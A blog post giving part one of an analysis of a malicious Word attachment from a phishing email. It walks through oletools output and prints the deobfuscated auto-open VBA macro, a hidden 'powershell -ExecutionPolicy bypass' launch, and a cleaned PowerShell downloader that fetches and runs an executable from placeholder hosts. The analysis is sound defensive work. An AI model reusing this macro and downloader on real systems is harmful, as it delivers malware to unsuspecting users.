Malware analysis writeup: Heodo (1/2)

This is Part 1 of a malware analysis I did this week. This time, it was not an exercise!

I started digging into “malware analysis” some time ago, mostly because I did not know anything about malware (except that they were not nice). I still do not know a lot about this topic, but I learned a few things already. In the sequel, I am going to describe why and how I analyzed the first part of this malware.

Preamble

Earlier this week, one of my friends received an email from his child’s school. It was a reply to an email he sent a couple of months ago, about his child being sick back then. Although the content of the email seemed legit, a file named ANHANG-16231-21845251.doc was attached to it, which alerted my friend. He called the school and got confirmation that no one sent such an email.

My friend asked me what I thought about this story. Double-checking the email headers, it was trivial to confirm that the school employee was impersonated. Given that the reply matched his email, the emails of this person were likely dumped a while ago and the bad folks started to make “good” use of them. Before leaving him, I asked my friend to forward me the .doc file.

Word document and VBA macro

I uploaded this file on VirusTotal but I did not get a lot of information, so I started a VM with a set of tools to perform static analysis of this document file.

Post-mortem: the VirusTotal report was more interesting than I thought: it mentioned that this file was likely a “Downloader”. Knowing this beforehand could have helped me during the analysis process.

I am not an expert, but I know that Microsoft documents can embed and run macros, specifically VBA macros. I also know that these macros have access to a lot of APIs and can run commands. The only set of tools I am aware of to deal with such formats/files is oletools.

I knew that this file was likely hiding VBA macros, but my experience solving some so-called “hacking challenges” taught me to not overlook the information gathering phase. I analyzed the file with oleid, which confirmed my intuition and also indicated that the file was not encrypted:

oleid 0.54 - http://decalage.info/oletools
THIS IS WORK IN PROGRESS - Check updates regularly!
Please report any issue at https://github.com/decalage2/oletools/issues

Filename: ./ANHANG-16231-21845251.doc
 Indicator                      Value
 OLE format                     True
 Has SummaryInformation stream  True
 Application name               Microsoft Office Word
 Encrypted                      False
 Word Document                  True
 VBA Macros                     True
 Excel Workbook                 False
 PowerPoint Presentation        False
 Visio Drawing                  False
 ObjectPool                     True
 Flash objects                  0

The second tool I used was olevba. It has been used to extract the VBA macros from the .doc file. The output I received looked obfuscated (the snippet below has been truncated):

olevba 0.54.1 on Python 2.7.16 - http://decalage.info/python/oletools
===============================================================================
FILE: ./ANHANG-16231-21845251.doc
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO Swlfot9.cls
in file: ./ANHANG-16231-21845251.doc - OLE stream: u'Macros/VBA/Swlfot9'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO zC7wlka.vba
in file: ./ANHANG-16231-21845251.doc - OLE stream: u'Macros/VBA/zC7wlka'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub K9hj1nG()
   Debug.Print "724" + ("516") + ("UPOp3Hrt" + ("23" + "361") + "vC9PPmCK" + ("rjITKvEv"))
Debug.Print "20" + ("994") + ("u_8YY68" + ("791" + "454") + "rbk4PQH" + ("iqapjj9"))
Debug.Print "942" + ("653") + ("pqQI0T2" + ("226" + "126") + "N7OT4k" + ("Z6j2ENjS"))
   Debug.Print "387" + ("127") + ("wjf7biL" + ("20" + "64") + "nE0OG8" + ("GNXHVKT"))
Debug.Print "255" + ("590") + ("kPaztnd9" + ("626" + "534") + "nc7FkKV" + ("itIImYJ"))
Debug.Print "763" + ("124") + ("lLo5VRP" + ("611" + "629") + "tJnnqa" + ("EPdjCjRp"))
End Sub
Sub _
autoopen( _
)

[...]

I took a look at the olevba documentation and learned about the --reveal experimental feature. In this case, it worked well and this feature cleaned the code a bit. It was still obfuscated, but less weird (output below truncated):

Attribute VB_Name = "zC7wlka"
Sub K9hj1nG()
   Debug.Print "724516UPOp3Hrt23361vC9PPmCKrjITKvEv"
Debug.Print "20994u_8YY68791454rbk4PQHiqapjj9"
Debug.Print "942653pqQI0T2226126N7OT4kZ6j2ENjS"
   Debug.Print "387127wjf7biL2064nE0OG8GNXHVKT"
Debug.Print "255590kPaztnd9626534nc7FkKVitIImYJ"
Debug.Print "763124lLo5VRP611629tJnnqaEPdjCjRp"
End Sub
Sub autoopen( )
   Debug.Print "588496Bn5Mps680785i9QMw62Vw29iIrvf"
Debug.Print "984870ZavHKq723615HYijaGWMHILLpV"
Debug.Print "58974piKRd2450645jwOkskOoIvNiL"
lc8cJsPt
   Debug.Print "860836EYdLCWj544391w0whi5Mmcto3"
Debug.Print "12319b1Pp9wzc397829Xozjntl2HkNCop"
Debug.Print "826309uz3s8R5980Z6jEJwMSGtCq"
End Sub

[...]

I went ahead and manually cleaned the code even more, but I had two references to a OLE “thing” named Swlfot9 that I could decode. I knew it had something to do with PowerShell given the "powe" string but I could not find anything else…

Attribute VB_Name = "zC7wlka"

Sub autoopen()
	lc8cJsPt
End Sub

Sub lc8cJsPt()
	Set Win32ProcessstartupObj = GetObject("winmgmts:Win32_ProcessStartup")
	Win32ProcessstartupObj.ShowWindow = 0

	Set Win32ProcessObj = GetObject("winmgmts:Win32_Process")
    Win32ProcessObj.Create "powe" + Swlfot9.FbFMIBR + Swlfot9.bLJAPOF,
	Null,
	Win32ProcessstartupObj,
	ProcessId
End Sub

I saw the name Swlfot9 in the very first olevba output, though, so I knew that something was still there, but I could just not see it. I tried some other oletools but it was a dead-end…

A PowerShell payload

Not really knowing what to do next, I decided to give the strings command a try and found a very large string that looked like a bas64-encoded string. I piped this string to base64 -d and got some PowerShell instructions in return. Yay!

$XvmIXvo='t6jTbM';$PbDL43 = '71';$uj6EVuv='L8KMkkX'; [...]

Given that I was stuck with the VBA macro, I decided to clean the PowerShell payload to better understand it. There were unused variables and weird PowerShell-allowed calls. Below is the PowerShell script rewritten to be more readable:

# `$env:userprofile` returns the full path of the profile directory.
$pathToExe = $env:userprofile+'\71.exe';

$webClient = New-Object Net.WebClient;

# List of URLs pointing to a program to download
$urls = [
    http://some.example.com/folder-123/,
    http://another.example.com/folder-456/,
]

foreach ($url in $urls) {
    try {
        # Try to download a program...
        $webClient.DownloadFile($url, $pathToExe);

        # if it worked, then...
        If ((Get-Item $pathToExe).length -ge 24103) {
            # run it!
            Invoke-Item $pathToExe;
            break;
        }

        # otherwise, keep trying.
    } catch {
    }
}

This PowerShell script is a Downloader: its job is to download, save and execute a malicious program (named 71.exe here). I still did not know how this script was executed by the macro though, so let’s find out!

OLE dump

I searched for a tool able to dump an OLE stream from a .doc file and discovered oledump.py. Analyzing the different sections, I found interesting data that I dumped as ASCII:

rshell -ExecutionPolicy bypass -WindowStyle Hidden -noprofile -e ,

This string corresponded to Swlfot9.FbFMIBR. Therefore the other reference was the payload reversed in the previous section. Below is the full line of code used to run the PowerShell script (which is represented by "PAYLOAD"):

Win32ProcessObj.Create "powershell -ExecutionPolicy bypass -WindowStyle Hidden -noprofile -e" + "PAYLOAD"

Job done!

The 71.exe program

In order to understand what kind of program was downloaded by the malicious .doc file, I used a third party service to download the program from one of the URLs in the list (in the PowerShell script) and this service then sent the program to me:

$ file 71.exe
71.exe: PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows

That’s a Windows Portable Executable program. I also analyzed this file and Part 2 will describe my findings.

Recap’

  • I statically analyzed a Word document that contained a VBA macro and a PowerShell script.
  • The VBA macro runs the PowerShell script on behalf of the user who opens the .doc file.
  • The PowerShell script downloads and executes a malicious program.
  • This malicious program is a Windows PE EXE file.

Filename MD5 checksum
ANHANG-16231-21845251.doc 70c0c42d90fd499b1d3f77b6f5a0bd3b

Feel free to fork and edit this post if you find a typo, thank you so much! This post is licensed under the Creative Commons Attribution-ShareAlike 4.0 International (CC BY-SA 4.0) license.

Recent articles

Comments

No comments here. You can get in touch with me on Mastodon or send me an email if you prefer.